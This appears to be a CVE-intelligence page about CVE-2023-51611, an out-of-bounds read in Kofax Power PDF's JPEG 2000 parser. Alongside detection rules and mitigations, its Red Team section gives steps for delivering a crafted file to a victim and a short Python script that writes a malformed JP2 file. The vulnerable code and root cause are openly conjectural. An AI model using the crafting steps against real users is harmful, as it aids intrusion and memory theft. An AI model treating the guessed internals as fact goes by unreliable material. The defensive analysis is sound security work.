☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 3.3 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N 🐛 CWE-125
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-51611

CVE-2023-51611 Out-of-Bounds Access in Kofax
📅 PUBLISHED: 2024-05-03 02:15 UTC 🔄 UPDATED: 2026-08-12 09:04 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.22%
👁️
0.22% probability
5.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1005 — Data from Local System
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 3.3
AV: L Attack Vector Local
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
3.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-51611 is a low-severity (CVSS 3.3) information disclosure vulnerability in Kofax Power PDF, specifically within the parsing of JP2 (JPEG 2000) files. The flaw is an out-of-bounds read caused by insufficient validation of user-supplied data, allowing a remote attacker to read past the end of an allocated object. Exploitation requires user interaction—the victim must open a malicious JP2 file or visit a crafted page. While the direct impact is limited to information disclosure, this vulnerability can be chained with other bugs to achieve arbitrary code execution in the context of the current process. No public exploit code or proof-of-concept is available, and no patch has been released by the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
  • Base Score: 3.3 (Low)
  • Attack Vector: Local (requires opening a malicious file)
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required
  • Scope: Unchanged
  • Confidentiality Impact: Low (information disclosure)
  • Integrity Impact: None
  • Availability Impact: None

Threat Level: Low. The vulnerability is not remotely exploitable without user interaction and only leaks memory contents. However, chaining with other vulnerabilities could elevate the risk.

Deep Dive & Mechanics

The vulnerability resides in the JP2 file parsing routine of Kofax Power PDF. JP2 files are container formats for JPEG 2000 compressed images. When the application reads a JP2 file, it fails to properly validate the length of user-supplied data before copying it into a buffer. This leads to an out-of-bounds read, where the parser reads beyond the allocated memory boundary.

Root Cause: Lack of bounds checking on the input data length during JP2 parsing. The code likely uses a fixed-size buffer or assumes the input data will not exceed a certain size, but an attacker can craft a JP2 file with a header or metadata field that claims a larger size than the actual data, causing the parser to read adjacent memory.

Impact: An attacker can read sensitive information from the process memory, such as other file contents, credentials, or cryptographic keys. This information can be used to further compromise the system or escalate privileges.

Chaining Potential: The ZDI advisory (ZDI-CAN-21836) notes that this vulnerability can be leveraged in conjunction with other vulnerabilities to execute arbitrary code. For example, an out-of-bounds read could be used to leak a memory address needed for a write primitive in a separate bug.

Vulnerable vs. Patched Code

No official patch is available. The vulnerable code is in the JP2 parsing module of Kofax Power PDF. A hypothetical fix would involve adding bounds checking before reading data into the buffer.

Vulnerable Code (Conceptual):

void parse_jp2_field(FILE *fp, uint32_t field_length) {
    char buffer[256];
    // No validation of field_length
    fread(buffer, 1, field_length, fp); // Out-of-bounds read if field_length > 256
    // Process buffer...
}

Patched Code (Conceptual):

void parse_jp2_field(FILE *fp, uint32_t field_length) {
    char buffer[256];
    if (field_length > sizeof(buffer)) {
        // Handle error or truncate
        field_length = sizeof(buffer);
    }
    fread(buffer, 1, field_length, fp);
    // Process buffer...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Kofax Power PDF installed on a Windows target.
  • Ability to deliver a malicious JP2 file (e.g., via email, web download).

Steps:

  1. Craft a JP2 file with a manipulated field length in the file header (e.g., the Image Header box or Color Specification box). Set the length field to a value larger than the actual data.
  2. Deliver the file to the victim and convince them to open it in Kofax Power PDF.
  3. The out-of-bounds read will leak memory contents. Use a separate vulnerability (e.g., a heap overflow) to achieve code execution.

No public exploit code is available. The following is a conceptual Python script to generate a malformed JP2 file:

import struct

def create_malicious_jp2():
    # Minimal JP2 file with oversized field length
    jp2_header = b'\x00\x00\x00\x0c\x6a\x50\x20\x20\x0d\x0a\x87\x0a'
    # Image Header box (ihdr) with manipulated length
    # Box length = 0xFFFFFFFF (max) to cause OOB read
    box_length = 0xFFFFFFFF
    box_type = b'ihdr'
    box_data = b'\x00' * 14  # Minimal valid ihdr data
    box = struct.pack('>I', box_length) + box_type + box_data
    return jp2_header + box

with open('malicious.jp2', 'wb') as f:
    f.write(create_malicious_jp2())

Blue Team

Detection:

  • Monitor for unusual JP2 files being opened by Kofax Power PDF.
  • Use file integrity monitoring to detect modifications to the application directory.
  • Enable Windows Defender Attack Surface Reduction (ASR) rules to block Office applications from creating child processes.

Hunting:

  • Search for crashes or access violations in Kofax Power PDF logs.
  • Look for memory dumps that contain leaked data from other processes.

Indicators of Compromise (IOCs)

  • File Hashes: (No known samples)
  • Network Indicators: None (local file-based)
  • Process Anomalies: Kofax Power PDF process (PDFPro.exe) reading excessive memory or crashing.
  • Registry Keys: N/A
  • YARA Rule: See Detection Engineering.

Detection Engineering

YARA Rule

rule CVE_2023_51611_JP2_OOB_Read {
    meta:
        description = "Detects malformed JP2 files exploiting CVE-2023-51611"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-51611"
    strings:
        $jp2_magic = { 00 00 00 0C 6A 50 20 20 0D 0A 87 0A }
        $ihdr_box = { 69 68 64 72 } // "ihdr"
        $oversized_length = { FF FF FF FF }
    condition:
        $jp2_magic at 0 and $ihdr_box and $oversized_length
}

Sigma Rule

title: CVE-2023-51611 JP2 File Parsing Out-of-Bounds Read
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects Kofax Power PDF crashes or access violations when opening JP2 files
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: windows
detection:
    selection:
        EventID: 1000 (Application Error)
        Image: '*PDFPro.exe*'
        Description: '*Access violation*'
    condition: selection
falsepositives:
    - Legitimate corrupted JP2 files
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-51611 JP2 File Download Attempt"; flow:to_server,established; file.magic:"\x00\x00\x00\x0c\x6a\x50\x20\x20\x0d\x0a\x87\x0a"; file.extension:"jp2"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  • Since no patch is available, consider using an alternative PDF viewer that does not parse JP2 files, or disable JP2 support if possible.
  • Implement application whitelisting to prevent untrusted executables from running.
  • Educate users not to open JP2 files from untrusted sources.

Long-Term:

  • Monitor the vendor’s advisory page for a patch.
  • If the software is critical, consider using a sandbox or virtualization to isolate the application.

Workarounds:

  • Use a file scanner that detects malformed JP2 headers.
  • Apply Windows Defender Exploit Guard to mitigate memory corruption.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-51611/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.